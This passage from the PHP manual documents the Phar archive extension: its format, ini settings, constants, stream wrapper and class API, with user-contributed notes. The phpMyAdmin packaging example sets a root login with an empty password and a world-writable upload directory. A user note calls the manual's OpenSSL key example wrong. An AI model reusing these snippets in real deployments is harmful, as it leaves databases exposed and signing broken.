   * @param $_sourceDirectory       // This is the directory where your project is stored.
   * @param $stubFile               // Name the entry point for your phar file. This file have to be within the source
   *                                   directory.
   * @param null $_outputDirectory  // Directory where the phar file will be placed.
   * @param string $pharFileName    // Name of your final *.phar file.
   */
  public function __construct($_sourceDirectory, $stubFile, $_outputDirectory = null, $pharFileName = 'myPhar.phar') {

    if ((file_exists($_sourceDirectory) === false) || (is_dir($_sourceDirectory) === false)) {
      throw new Exception('No valid source directory given.');
    }
    $this->_sourceDirectory = $_sourceDirectory;

    if (file_exists($this->_sourceDirectory.'/'.$stubFile) === false) {
      throw new Exception('Your given stub file doesn\'t exists.');
    }

    $this->_stubFile = $stubFile;

    if(empty($pharFileName) === true) {
      throw new Exception('Your given output name for your phar-file is empty.');
    }
    $this->_pharFileName = $pharFileName;

    if ((empty($_outputDirectory) === true) || (file_exists($_outputDirectory) === false) || (is_dir($_outputDirectory) === false)) {

      if ($_outputDirectory !== null) {
        trigger_error ( 'Your output directory is invalid. We set the fallback to: "'.dirname(__FILE__).'".', E_USER_WARNING);
      }

      $this->_outputDirectory = dirname(__FILE__);
    } else {
      $this->_outputDirectory = $_outputDirectory;
    }

    $this->prepareBuildDirectory();
    $this->buildPhar();
  }

  private function prepareBuildDirectory() {
    if (preg_match('/.phar$/', $this->_pharFileName) == FALSE) {
      $this->_pharFileName .= '.phar';
    }

    if (file_exists($this->_pharFileName) === true) {
      unlink($this->_pharFileName);
    }
  }

  private function buildPhar() {
    $phar = new Phar($this->_outputDirectory.'/'.$this->_pharFileName);
    $phar->buildFromDirectory($this->_sourceDirectory);
    $phar->setDefaultStub($this->_stubFile);
  }
}
//END Class

//Example Usage:
$builder = new BuildPhar(
  dirname(__FILE__).'/_source',
  'my_default_stub.php',
  dirname(__FILE__).'/_output',
  'my-phar-file.phar'
);
dava 03-Jun-2013 06:18
Here is an apache2 htaccess example that prevents the downloading of phar-Archives by the user:

RewriteEngine on
RewriteRule ^(.*)\.phar$ - [F]

It triggers a "403 - Forbidden" message instead of delivering the archive.
v-mafick at microsoft dot com 25-May-2013 06:22
Users should set the `sys_temp_dir` directive.

PHAR stores temporary files in either `sys_temp_dir` or the current working directory(CWD).

This is especially important if you're CWD is on a remote file system. Often web server clusters will share a common file system between each web server (using NFS, DFS, etc...). In such scenarios, if you don't set `sys_temp_dir` to a local directory, PHAR will be creating temporary files over the network, which will result in performance and functionality problems.
bohwaz 21-Nov-2011 11:43
If you get blank pages when trying to access a phar web-page, then you probably have Suhosin on your PHP (like in Debian and Ubuntu), and you need to ad this to your php.ini to allow execution of PHAR archives :

suhosin.executor.include.whitelist="phar"


Introduction

The phar extension provides a way to put entire PHP applications into a single file called a "phar" (PHP Archive) for easy distribution and installation. In addition to providing this service, the phar extension also provides a file-format abstraction method for creating and manipulating tar and zip files through the PharData class, much as PDO provides a unified interface for accessing different databases. Unlike PDO, which cannot convert between different databases, Phar also can convert between tar, zip and phar file formats with a single line of code. see Phar::convertToExecutable() for one example.

What is phar? Phar archives are best characterized as a convenient way to group several files into a single file. As such, a phar archive provides a way to distribute a complete PHP application in a single file and run it from that file without the need to extract it to disk. Additionally, phar archives can be executed by PHP as easily as any other file, both on the commandline and from a web server. Phar is kind of like a thumb drive for PHP applications.

Phar implements this functionality through a Stream Wrapper. Normally, to use an external file within a PHP script, you would use include

Example #1 Using an external file

<?php
 include '/path/to/external/file.php';
 ?>

PHP can be thought of as actually translating /path/to/external/file.php into a stream wrapper as file:///path/to/external/file.php, and under the hood it does in fact use the plain file stream wrapper stream functions to access all local files.

To use a file named file.php contained with a phar archive /path/to/myphar.phar, the syntax is very similar to the file:// syntax above.

Example #2 Using a file within a phar archive

<?php
 include 'phar:///path/to/myphar.phar/file.php';
 ?>

In fact, one can treat a phar archive exactly as if it were an external disk, using any of fopen()-related functions, opendir() and mkdir()-related functions to read, change, or create new files and directories within the phar archive. This allows complete PHP applications to be distributed in a single file and run directly from that file.

The most common usage for a phar archive is to distribute a complete application in a single file. For instance, the PEAR Installer that is bundled with PHP versions is distributed as a phar archive. To use a phar archive distributed in this way, the archive can be executed on the command-line or via a web server.

Phar archives can be distributed as tar archives, zip archives, or as the custom phar file format designed specifically for the phar extension. Each file format has advantages and disadvantages. The tar and zip file formats can be read or extracted by any third-party tool that can read the format, but require the phar extension in order to run with PHP. The phar file format is customized and unique to the phar extension, and can only be created by the phar extension or the PEAR package » PHP_Archive, but has the advantage that applications created in this format will run even if the phar extension is not enabled.

In other words, even with the phar extension disabled, one can execute or include a phar-based archive. Accessing individual files within a phar archive is only possible with the phar extension unless the phar archive was created by PHP_Archive.

The phar extension is also capable of converting a phar archive from tar to zip or to phar file format in a single command:

Example #3 Converting a phar archive from phar to tar file format

<?php
 $phar = new Phar('myphar.phar');
 $pgz = $phar->convertToExecutable(Phar::TAR, Phar::GZ); // makes myphar.phar.tar.gz
 ?>

Phar can compress individual files or an entire archive using gzip compression or bzip2 compression, and can verify archive integrity automatically through the use of MD5, SHA-1, SHA-256 or SHA-512 signatures.

Lastly, the Phar extension is security-conscious, and disables write access to executable phar archives by default, and requires system-level disabling of the phar.readonly php.ini setting in order to create or modify phar archives. Normal tar and zip archives without an executable stub can always be created or modified using the PharData class.

If you are creating applications for distribution, you will want to read How to create Phar Archives. If you want more information on the differences between the three file formats that phar supports, you should read Phar, Tar and Zip.

If you are using phar applications, there are helpful tips in How to use Phar Archives

The word phar is a contraction of PHP and Archive and is based loosely on the jar (Java Archive) familiar to Java developers.

The implementation for Phar archives is based on the PEAR package » PHP_Archive, and the implementation details are similar, although the Phar extension is much more powerful. In addition, the Phar extension allows most PHP applications to be run unmodified while PHP_Archive-based phar archives often require extensive modification in order to work.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

Phar requires PHP 5.2.0 or newer. Additional features require the SPL extension in order to take advantage of iteration and array access to a Phar's file contents. The phar stream does not require any additional extensions to function.

You may optionally wish to enable the zlib and bzip2 extensions to take advantage of compressed phar support. In addition, to take advantage of OpenSSL signing, the OpenSSL extension must be enabled.

Note that a bug in the zlib.deflate stream filter fixed in PHP version 5.2.6 and newer may cause truncation of gzip and bzip2-compressed phar archives.

PHP 5.3 configured with --enable-zend-multibyte makes phar dependant on the ini option detect_unicode.

User Contributed Notes

There are no user contributed notes for this page.


Installation

The Phar extension is built into PHP as of PHP version 5.3.0. Phar may be installed via the PECL extension with previous PHP versions, and the » Phar PECL page contains further information and history.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Filesystem and Streams Configuration Options
Name | Default | Changeable | Changelog
phar.readonly | "1" | PHP_INI_ALL |
phar.require_hash | "1" | PHP_INI_ALL |
phar.extract_list | "" | PHP_INI_ALL | Available from phar 1.1.0 to 1.2.3, removed in 2.0.0.
phar.cache_list | "" | PHP_INI_SYSTEM | Available from phar 2.0.0.

Here's a short explanation of the configuration directives.

phar.readonly boolean

This option disables creation or modification of Phar archives using the phar stream or Phar object's write support. This setting should always be enabled on production machines, as the phar extension's convenient write support could allow straightforward creation of a php-based virus when coupled with other common security vulnerabilities.

Note:

This setting can only be unset in php.ini due to security reasons. If phar.readonly is disabled in php.ini, the user may enable phar.readonly in a script or disable it later. If phar.readonly is enabled in php.ini, a script may harmlessly "re-enable" the INI variable, but may not disable it.

phar.require_hash boolean

This option will force all opened Phar archives to contain some kind of signature (currently MD5, SHA1, SHA256 and SHA512 are supported), and will refuse to process any Phar archive that does not contain a signature.

Note:

This setting can only be unset in php.ini due to security reasons. If phar.require_hash is disabled in php.ini, the user may enable phar.require_hash in a script or disable it later. If phar.require_hash is enabled in php.ini, a script may harmlessly "re-enable" the INI variable, but may not disable it.

This setting does not affect reading plain tar files with the PharData class.

phar.extract_list string

This INI setting has been removed as of phar 2.0.0

Allows mappings from a full path to a phar archive or its alias to the location of its extracted files. The format of the parameter is name=archive,name2=archive2. This allows extraction of phar files to disk, and allows phar to act as a kind of mapper to extracted disk files. This is often done for performance reasons, or to assist with debugging a phar.

Example #1 phar.extract_list usage example

in php.ini:
phar.extract_list = archive=/full/path/to/archive/,arch2=/full/path/to/arch2
<?php
include "phar://archive/content.php";
include "phar://arch2/foo.php";
?>

phar.cache_list string

This INI setting was added in phar 2.0.0

Allows mapping phar archives to be pre-parsed at web server startup, providing a performance improvement that brings running files out of a phar archive very close to the speed of running those files from a traditional disk-based installation.

Example #2 phar.cache_list usage example

in php.ini (windows):
phar.cache_list =C:\path\to\phar1.phar;C:\path\to\phar2.phar
in php.ini (unix):
phar.cache_list =/path/to/phar1.phar:/path/to/phar2.phar

User Contributed Notes

milagre at gmail dot com 14-Jun-2011 08:48
During experimentation with phar.cache_list using php 5.2.13 and pecl/phar 2.0.0, I found some interesting details.

It seems that if any phar in the list of phars to cache fails to be read properly during module initialization, none of the phars in the list will be cached, including ones that had already been successfully read before the failure.

Additionally, phars without metadata will always fail to be pre-cached properly due to what seems to be a bug in the phar module that re-reads the length of the metadata from the next byte if the metadata length is 0.  Adding any metadata resolved the problem for me.

So make sure you are pre-caching phars with metadata, and make sure you don't put a bad path/file in the list.


Resource Types

The Phar extension provides the phar stream, which allows accessing files contained within a phar transparently. See also the description of the Phar file format.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Phar compression constants
Constant | Value | Description
Phar::NONE (integer) | 0x00000000 | no compression
Phar::COMPRESSED (integer) | 0x0000F000 | bitmask that can be used with file flags to determine if any compression is present
Phar::GZ (integer) | 0x00001000 | zlib (gzip) compression
Phar::BZ2 (integer) | 0x00002000 | bzip2 compression
Phar file format constants
Constant | Value | Description
Phar::SAME (integer) | 0 | retain the same file format
Phar::PHAR (integer) | 1 | phar file format
Phar::TAR (integer) | 2 | tar file format
Phar::ZIP (integer) | 3 | zip file format
Phar signature constants
Constant | Value | Description
Phar::MD5 (integer) | 0x0001 | signature with md5 hash algorithm
Phar::SHA1 (integer) | 0x0002 | signature with sha1 hash algorithm
Phar::SHA256 (integer) | 0x0003 | signature with sha256 hash algorithm (requires hash extension)
Phar::SHA512 (integer) | 0x0004 | signature with sha512 hash algorithm (requires hash extension)
Phar::OPENSSL (integer) | 0x0010 | signature with OpenSSL public/private key pair. This is a true, asymmetric key signature.
Phar webPhar mime override constants
Constant | Value | Description
Phar::PHP (integer) | 1 | used to instruct the mimeoverrides parameter of Phar::webPhar() that the extension should be parsed as a PHP file
Phar::PHPS (integer) | 2 | used to instruct the mimeoverrides parameter of Phar::webPhar() that the extension should be parsed as a PHP source file through highlight_file()

User Contributed Notes

There are no user contributed notes for this page.


Using Phar Archives

Table of Contents

  • Using Phar Archives: Introduction
  • Using Phar Archives: the phar stream wrapper
  • Using Phar Archives: the Phar and PharData class

User Contributed Notes

gabriel at bumpt dot net 04-Aug-2008 05:57
One should be aware that the bcompiler extension does not appear to work in a phar archive.

When parsing PHP files within a Phar archive, the engine seems to not decode the b-compiled files. Rather, it outputs the bytecode data, even if the bcompiler extension is enabled and loaded, and otherwise operating properly on stand-alone b-compiled PHP files.


Using Phar Archives: Introduction

Phar archives are similar in concept to Java JAR archives, but are tailored to the needs and to the flexibility of PHP applications. A Phar archive is used to distribute a complete PHP application or library in a single file. A Phar archive application is used exactly like any other PHP application:

php coolapplication.phar

Using a Phar archive library is identical to using any other PHP library:

<?php
include 'coollibrary.phar';
?>

The phar stream wrapper provides the core of the phar extension, and is explained in detail here. The phar stream wrapper allows accessing the files within a phar archive using PHP's standard file functions fopen(), opendir(), and others that work on regular files. The phar stream wrapper supports all read/write operations on both files and directories.

<?php
include 'phar://coollibrary.phar/internal/file.php';
header('Content-type: image/jpeg');
// phars can be accessed by full path or by alias
echo file_get_contents('phar:///fullpath/to/coollibrary.phar/images/wow.jpg');
?>

The Phar class implements advanced functionality for accessing files and for creating phar archives. The Phar class is explained in detail here.

<?php
try {
    // open an existing phar
    $p = new Phar('coollibrary.phar', 0);
    // Phar extends SPL's DirectoryIterator class
    foreach (new RecursiveIteratorIterator($p) as $file) {
        // $file is a PharFileInfo class, and inherits from SplFileInfo
        echo $file->getFileName() . "\n";
        echo file_get_contents($file->getPathName()) . "\n"; // display contents;
    }
    if (isset($p['internal/file.php'])) {
        var_dump($p['internal/file.php']->getMetadata());
    }

    // create a new phar - phar.readonly must be 0 in php.ini
    // phar.readonly is enabled by default for security reasons.
    // On production servers, Phars need never be created,
    // only executed.
    if (Phar::canWrite()) {
        $p = new Phar('newphar.tar.phar', 0, 'newphar.tar.phar');
        // make this a tar-based phar archive, compressed with gzip compression (.tar.gz)
        $p = $p->convertToExecutable(Phar::TAR, Phar::GZ);

        // create transaction - nothing is written to newphar.phar
        // until stopBuffering() is called, although temporary storage is needed
        $p->startBuffering();
        // add all files in /path/to/project, saving in the phar with the prefix "project"
        $p->buildFromIterator(new RecursiveIteratorIterator(new DirectoryIterator('/path/to/project')), '/path/to/');

        // add a new file via the array access API
        $p['file1.txt'] = 'Information';
        $fp = fopen('hugefile.dat', 'rb');
        // copy all data from the stream
        $p['data/hugefile.dat'] = $fp;

        if (Phar::canCompress(Phar::GZ)) {
            $p['data/hugefile.dat']->compress(Phar::GZ);
        }

        $p['images/wow.jpg'] = file_get_contents('images/wow.jpg');
        // any value can be saved as file-specific meta-data
        $p['images/wow.jpg']->setMetadata(array('mime-type' => 'image/jpeg'));
        $p['index.php'] = file_get_contents('index.php');
        $p->setMetadata(array('bootstrap' => 'index.php'));

        // save the phar archive to disk
        $p->stopBuffering();
    }
} catch (Exception $e) {
    echo 'Could not open Phar: ', $e;
}
?>

In addition, verification of phar file contents can be done using any of the supported symmetric hash algorithms (MD5, SHA1, SHA256 and SHA512 if ext/hash is enabled) and using asymmetric public/private key signing using OpenSSL (new in Phar 2.0.0). To take advantage of OpenSSL signing, you need to generate a public/private key pair, and use the private key to set the signature using Phar::setSignatureAlgorithm(). In addition, the public key as extracted using this code:

<?php
$public = openssl_get_publickey(file_get_contents('private.pem'));
$pkey = '';
openssl_pkey_export($public, $pkey);
?>
must be saved adjacent to the phar archive it verifies. If the phar archive is saved as /path/to/my.phar, the public key must be saved as /path/to/my.phar.pubkey, or phar will be unable to verify the OpenSSL signature.

As of version 2.0.0, The Phar class also provides 3 static methods, Phar::webPhar(), Phar::mungServer() and Phar::interceptFileFuncs() that are crucial to packaging up PHP applications designed for usage on regular filesystems and for web-based applications. Phar::webPhar() implements a front controller that routes HTTP calls to the correct location within the phar archive. Phar::mungServer() is used to modify the values of the $_SERVER array to trick applications that process these values. Phar::interceptFileFuncs() instructs Phar to intercept calls to fopen(), file_get_contents(), opendir(), and all of the stat-based functions (file_exists(), is_readable() and so on) and route all relative paths to locations within the phar archive.

As an example, packaging up a release of the popular phpMyAdmin application for use as a phar archive requires only this simple script and then phpMyAdmin.phar.tar.php can be accessed as a regular file from your web server after modifying the user/password:

<?php
@unlink('phpMyAdmin.phar.tar.php');
copy('phpMyAdmin-2.11.3-english.tar.gz', 'phpMyAdmin.phar.tar.php');
$a = new Phar('phpMyAdmin.phar.tar.php');
$a->startBuffering();
$a["phpMyAdmin-2.11.3-english/config.inc.php"] = '<?php
/* Servers configuration */
$i = 0;

/* Server localhost (config:root) [1] */
$i++;
$cfg[\'Servers\'][$i][\'host\'] = \'localhost\';
$cfg[\'Servers\'][$i][\'extension\'] = \'mysqli\';
$cfg[\'Servers\'][$i][\'connect_type\'] = \'tcp\';
$cfg[\'Servers\'][$i][\'compress\'] = false;
$cfg[\'Servers\'][$i][\'auth_type\'] = \'config\';
$cfg[\'Servers\'][$i][\'user\'] = \'root\';
$cfg[\'Servers\'][$i][\'password\'] = \'\';

/* End of servers configuration */
if (strpos(PHP_OS, \'WIN\') !== false) {
    $cfg[\'UploadDir\'] = getcwd();
} else {
    $cfg[\'UploadDir\'] = \'/tmp/pharphpmyadmin\';
    @mkdir(\'/tmp/pharphpmyadmin\');
    @chmod(\'/tmp/pharphpmyadmin\', 0777);
}';
$a->setStub('<?php
Phar::interceptFileFuncs();
Phar::webPhar("phpMyAdmin.phar", "phpMyAdmin-2.11.3-english/index.php");
echo "phpMyAdmin is intended to be executed from a web browser\n";
exit -1;
__HALT_COMPILER();
');
$a->stopBuffering();
?>

User Contributed Notes

ch1902 27-Mar-2014 10:14
If you are going to be running a webPhar from the browser, for example http://localhost/myphar.phar then you will probably have to associate the .phar extension with PHP in your webserver to interpret the PHP code. In Apache modify httpd.conf to include

AddType application/x-httpd-php .php .phar
frame86 at live dot com 30-Jun-2013 08:46
The openssl example is completely wrong. The public key must be extracted from certificate and openssl_pkey_export() is for private key only.

Working example:
<?php
$publicKey = openssl_get_publickey(file_get_contents('certificate.pem'));
$details = openssl_pkey_get_details($publicKey);
file_put_contents('my.phar.pubkey', $details['key']);
?>

No need to say that the best and strongest encryption of my.phar/.phar/signature.bin is useless if the consumer does not check against a valid fingerprint or certificate of public key as anybody can open, read, recreate and sign a new archive with new key. Do you do? Think about it.
shaun at shaunfreeman dot co dot uk 27-Sep-2010 12:06
If you are trying to use Phar for a web application and just getting a blank screen, if you have enabled suhosin as well you have to add:

suhosin.executor.include.whitelist="phar"

to "/etc/php5/conf.d/suhosin.ini" file or your "php.ini" file.

once done everything works fine and dandy.


Using Phar Archives: the phar stream wrapper

The Phar stream wrapper fully supports fopen() for read and write (not append), unlink(), stat(), fstat(), fseek(), rename() and directory stream operations opendir() and as of version 2.0.0, rmdir() and mkdir().

Individual file compression and per-file metadata can also be manipulated in a Phar archive using stream contexts:

<?php
$context = stream_context_create(array('phar' =>
                                    array('compress' => Phar::GZ)),
                                    array('metadata' => array('user' => 'cellog')));
file_put_contents('phar://my.phar/somefile.php', 0, $context);
?>

The phar stream wrapper does not operate on remote files, and cannot operate on remote files, and so is allowed even when the allow_url_fopen and allow_url_include INI options are disabled.

Although it is possible to create phar archives from scratch just using stream operations, it is best to use the functionality built into the Phar class. The stream wrapper is best used for read-only operations.

User Contributed Notes

staff at pro-unreal dot de 09-Jun-2011 07:52
Please note that the phar stream wrapper does not work with any glob.
When you decide to move your project to phar archives you need to consider this.

The following won't work:
<?php
glob('phar://some.phar/*');
new DirectoryIterator('glob://phar://some.phar/*');
?>

While the following will work:
<?php
new DirectoryIterator('phar://some.phar/');
?>
carl at dot dot com 09-May-2011 09:12
Some Examples of how to use the stream wrapper would be really helpful.
My floundering attempts reveal only the following:

<?php
$p = new PharData(dirname(__FILE__).'/phartest.zip', 0,'phartest',Phar::ZIP) ;

$p->addFromString('testfile.txt',
'this is just some test text');

// This works
echo file_get_contents('phar://phartest.zip/testfile.txt');

//This Fails
file_put_contents('phar://phartest.zip/testfile.txt',
'Thist is text for testfile.txt');

$context = stream_context_create(
array('phar' =>array('compress' =>Phar::ZIP))
) ;

//This Fails
file_put_contents(
'phar://phartest.zip/testfile.txt',
'Thist is text for testfile.txt',0,$context);

// This works but only with 'r' readonly mode.
$f = fopen(
'phar://C:\\Inetpub\\wwwroot\\PACT\\test\\phartest.zip\\testfile.txt',
'r') ;
?>


Using Phar Archives: the Phar and PharData class

The Phar class supports reading and manipulation of Phar archives, as well as iteration through inherited functionality of the RecursiveDirectoryIterator class. With support for the ArrayAccess interface, files inside a Phar archive can be accessed as if they were part of an associative array.

The PharData class extends the Phar, and allows creating and modifying non-executable (data) tar and zip archives even if phar.readonly=1 in php.ini. As such, PharData::setAlias() and PharData::setStub() are both disabled as the concept of alias and stub are unique to executable phar archives.

It is important to note that when creating a Phar archive, the full path should be passed to the Phar object constructor. Relative paths will fail to initialize.

Assuming that $p is a Phar object initialized as follows:

<?php
$p = new Phar('/path/to/myphar.phar', 0, 'myphar.phar');
?>

An empty Phar archive will be created at /path/to/myphar.phar, or if /path/to/myphar.phar already exists, it will be opened again. The literal myphar.phar demonstrates the concept of an alias that can be used to reference /path/to/myphar.phar in URLs as in:

<?php
// these two calls to file_get_contents() are equivalent if
// /path/to/myphar.phar has an explicit alias of "myphar.phar"
// in its manifest, or if the phar was initialized with the
// previous example's Phar object setup
$f = file_get_contents('phar:///path/to/myphar.phar/whatever.txt');
$f = file_get_contents('phar://myphar.phar/whatever.txt');
?>

With the newly created $p Phar object, the following is possible:

  • $a = $p['file.php'] creates a PharFileInfo class that refers to the contents of phar://myphar.phar/file.php
  • $p['file.php'] = $v creates a new file (phar://myphar.phar/file.php), or overwrites an existing file within myphar.phar. $v can be either a string or an open file pointer, in which case the entire contents of the file will be used to create the new file. Note that $p->addFromString('file.php', $v) is functionally equivalent to the above. Also possible is to add the contents of a file with $p->addFile('/path/to/file.php', 'file.php'). Lastly, an empty directory can be created with $p->addEmptyDir('empty').
  • isset($p['file.php']) can be used to determine whether phar://myphar.phar/file.php exists within myphar.phar.
  • unset($p['file.php']) erases phar://myphar.phar/file.php from myphar.phar.

In addition, the Phar object is the only way to access Phar-specific metadata, through Phar::getMetadata(), and the only way to set or retrieve a Phar archive's PHP loader stub through Phar::getStub() and Phar::setStub(). Additionally, compression for the entire Phar archive at once can only be manipulated using the Phar class.

The full list of Phar object functionality is documented below.

The PharFileInfo class extends the SplFileInfo class, and adds several methods for manipulating Phar-specific details of a file contained within a Phar, such as manipulating compression and metadata.

User Contributed Notes

There are no user contributed notes for this page.


Creating Phar Archives

Table of Contents

  • Creating Phar Archives: Introduction

User Contributed Notes

There are no user contributed notes for this page.


Creating Phar Archives: Introduction

To be written fully in the near future. Before reading this, be sure to read How to use Phar Archives.

A great place to start is by reading about Phar::buildFromIterator(), and the specifics of the file format choices available for archives. A healthy understanding of what a stub is and does is crucial to phar archive creation, and so Phar::setStub() and Phar::createDefaultStub() are good places to start as well. If you are distributing a web-based application, it is crucial to know about Phar::webPhar() and related method Phar::mungServer(). Any application that accesses its own files should also consider using Phar::interceptFileFuncs().

User Contributed Notes

jw 13-Jun-2011 09:26
There is some more information about stubs here:

http://www.php.net/manual/en/phar.fileformat.stub.php


What makes a phar a phar and not a tar or a zip?

Table of Contents

  • Ingredients of all Phar archives, independent of file format
  • Phar file stub
  • Head-to-head comparison of Phar, Tar and Zip
  • Tar-based phars
  • Zip-based phars
  • Phar File Format
  • Global Phar bitmapped flags
  • Phar manifest file entry definition
  • Phar Signature format

User Contributed Notes

There are no user contributed notes for this page.


Ingredients of all Phar archives, independent of file format

All Phar archives contain three to four sections:

  1. a stub

  2. a manifest describing the contents

  3. the file contents

  4. [optional] a signature for verifying Phar integrity (phar file format only)

User Contributed Notes

There are no user contributed notes for this page.


Phar file stub

A Phar's stub is a simple PHP file. The smallest possible stub follows:

<?php __HALT_COMPILER();

A stub must contain as a minimum, the __HALT_COMPILER(); token at its conclusion. Typically, a stub will contain loader functionality like so:

<?php
Phar::mapPhar();
include 'phar://myphar.phar/index.php';
__HALT_COMPILER();

There are no restrictions on the contents of a Phar stub, except for the requirement that it conclude with __HALT_COMPILER();. The closing PHP tag

?>
may be included or omitted, but there can be no more than 1 space between the ; and the close tag
?>
 or the phar extension will be unable to process the Phar archive's manifest.

In a tar or zip-based phar archive, the stub is stored in the .phar/stub.php file. The default stub for phar-based Phar archives contains approximately 7k of code to extract the contents of the phar and execute them. See Phar::createDefaultStub() for more detail.

The phar alias is stored in a tar or zip-based phar archive in the .phar/alias.txt file as plain text.

User Contributed Notes

There are no user contributed notes for this page.


Head-to-head comparison of Phar, Tar and Zip

What are the good and the bad things about the three supported file formats in the phar extension? This table attempts to address that question.

Feature matrix: Phar vs. Tar vs. Zip
Feature | Phar | Tar | Zip
Standard File Format | No | Yes | Yes
Can be executed without the Phar Extension [1] | Yes | No | No
Per-file compression | Yes | No | Yes
Whole-archive compression | Yes | Yes | No
Whole-archive signature validation | Yes | Yes | Yes (PHP 5.3.1+)
Web-specific application support | Yes | Yes | Yes
Per-file Meta-data | Yes | Yes | Yes
Whole-Archive Meta-data | Yes | Yes | Yes
Archive creation/modification [2] | Yes | Yes | Yes
Full support for all stream wrapper functions | Yes | Yes | Yes
Can be created/modified even if phar.readonly=1 [3] | No | Yes | Yes

Tip

[1] PHP can only directly access the contents of a Phar archive without the Phar extension if it is using a stub that extracts the contents of the phar archive. The stub created by Phar::createDefaultStub() extracts the phar archive and runs its contents from a temporary directory if no phar extension is found.

Tip

[2] All write access requires phar.readonly to be disabled in php.ini or on the command-line directly.

Tip

[3] Only tar and zip archives without .phar in their filename and without an executable stub .phar/stub.php can be created if phar.readonly=1.

User Contributed Notes

There are no user contributed notes for this page.


Tar-based phars

Archives based on the tar file format follow the more modern USTAR file format. The design of the tar file header makes them more efficient to access than the zip file format, and almost as efficient as the phar file format. File names are limited to 255 bytes, including full path within the phar archive. There is no limit on the number of files within a tar-based phar archive. These archives can fully compressed in gzip or bzip2 format and still be executed by the Phar extension.

To compress an entire archive, use Phar::compress(). To decompress an entire archive, use Phar::decompress().

User Contributed Notes

There are no user contributed notes for this page.


Zip-based phars

Archives based on the zip file format support several features built into the zip file format. Per-file and whole-archive metadata is stored in the zip file comment and zip archive comment as a serialized string. Pre-existing zip comments will be successfully read as a string. Per-file compression read/write is supported with zlib compression, and read access is supported with bzip2 compression. There is no limit on the number of files within a zip-based phar archive. Empty directories are stored in the zip archive as files with a trailing slash like my/directory/

User Contributed Notes

There are no user contributed notes for this page.


Phar File Format

The phar file format is literally laid out as stub/manifest/contents/signature, and stores the crucial information of what is included in the phar archive in its manifest.

The Phar manifest is a highly optimized format that allows per-file specification of file compression, file permissions, and even user-defined meta-data such as file user or group. All values greater than 1 byte are stored in little-endian byte order, with the exception of the API version, which for historical reasons is stored as 3 nibbles in big-endian order.

All unused flags are reserved for future use, and must not be used to store custom information. Use the per-file meta-data facility to store customized information about particular files.

The basic file format of a Phar archive manifest is as follows:

Global Phar manifest format
Size in bytes | Description
4 bytes | Length of manifest in bytes (1 MB limit)
4 bytes | Number of files in the Phar
2 bytes | API version of the Phar manifest (currently 1.0.0)
4 bytes | Global Phar bitmapped flags
4 bytes | Length of Phar alias
?? | Phar alias (length based on previous)
4 bytes | Length of Phar metadata (0 for none)
?? | Serialized Phar Meta-data, stored in serialize() format
at least 24 * number of entries bytes | entries for each file

User Contributed Notes

There are no user contributed notes for this page.


Global Phar bitmapped flags

Here are the bitmapped flags currently recognized by the Phar extension for the global Phar flat bitmap:

Bitmap values recognized
Value | Description
0x00010000 | If set, this Phar contains a verification signature
0x00001000 | If set, this Phar contains at least 1 file that is compressed with zlib compression
0x00002000 | If set, this Phar contains at least 1 file that is compressed with bzip compression

User Contributed Notes

There are no user contributed notes for this page.


Phar manifest file entry definition

Each file in the manifest contains the following information:

Phar Manifest file entry
Size in bytes | Description
4 bytes | Filename length in bytes
?? | Filename (length specified in previous)
4 bytes | Un-compressed file size in bytes
4 bytes | Unix timestamp of file
4 bytes | Compressed file size in bytes
4 bytes | CRC32 checksum of un-compressed file contents
4 bytes | Bit-mapped File-specific flags
4 bytes | Serialized File Meta-data length (0 for none)
?? | Serialized File Meta-data, stored in serialize() format

Note that as of API version 1.1.1, empty directories are stored as filenames with a trailing slash like my/directory/

The File-specific bitmap values recognized are:

Bitmap values recognized
Value | Description
0x000001FF | These bits are reserved for defining specific file permissions of a file. Permissions are used for fstat() and can be used to recreate desired permissions upon extraction.
0x00001000 | If set, this file is compressed with zlib compression
0x00002000 | If set, this file is compressed with bzip compression

User Contributed Notes

There are no user contributed notes for this page.


Phar Signature format

Phars containing a signature always have the signature appended to the end of the Phar archive after the loader, manifest, and file contents. The two signature formats supported at this time are MD5 and SHA1.

Signature format
Length in bytes | Description
16 or 20 bytes | The actual signature, 20 bytes for an SHA1 signature, 16 bytes for an MD5 signature, 32 bytes for an SHA256 signature, and 64 bytes for an SHA512 signature.
4 bytes | Signature flags. 0x0001 is used to define an MD5 signature, 0x0002 is used to define an SHA1 signature, 0x0004 is used to define an SHA256 signature, and 0x0008 is used to define an SHA512 signature. The SHA256 and SHA512 signature support was introduced with API version 1.1.0.
4 bytes | Magic GBMB used to define the presence of a signature.

User Contributed Notes

There are no user contributed notes for this page.


The Phar class

(PHP >= 5.3.0, PECL phar >= 1.0.0)

Introduction

The Phar class provides a high-level interface to accessing and creating phar archives.

Class synopsis

Phar extends RecursiveDirectoryIterator implements Countable , ArrayAccess {
/* Methods */
public void addEmptyDir ( string $dirname )
public void addFile ( string $file [, string $localname ] )
public void addFromString ( string $localname , string $contents )
final public static string apiVersion ( void )
public array buildFromDirectory ( string $base_dir [, string $regex ] )
public array buildFromIterator ( Iterator $iter [, string $base_directory ] )
final public static bool canCompress ([ int $type = 0 ] )
final public static bool canWrite ( void )
public object compress ( int $compression [, string $extension ] )
public bool compressAllFilesBZIP2 ( void )
public bool compressAllFilesGZ ( void )
public void compressFiles ( int $compression )
public __construct ( string $fname [, int $flags [, string $alias ]] )
public PharData convertToData ([ int $format = 9021976 [, int $compression = 9021976 [, string $extension ]]] )
public Phar convertToExecutable ([ int $format = 9021976 [, int $compression = 9021976 [, string $extension ]]] )
public bool copy ( string $oldfile , string $newfile )
public int count ( void )
final public static string createDefaultStub ([ string $indexfile [, string $webindexfile ]] )
public object decompress ([ string $extension ] )
public bool decompressFiles ( void )
public bool delMetadata ( void )
public bool delete ( string $entry )
public bool extractTo ( string $pathto [, string|array $files [, bool $overwrite = false ]] )
public mixed getMetadata ( void )
public bool getModified ( void )
public array getSignature ( void )
public string getStub ( void )
final public static array getSupportedCompression ( void )
final public static array getSupportedSignatures ( void )
public string getVersion ( void )
public bool hasMetadata ( void )
final public static void interceptFileFuncs ( void )
public bool isBuffering ( void )
public mixed isCompressed ( void )
public bool isFileFormat ( int $format )
final public static bool isValidPharFilename ( string $filename [, bool $executable = true ] )
public bool isWritable ( void )
final public static bool loadPhar ( string $filename [, string $alias ] )
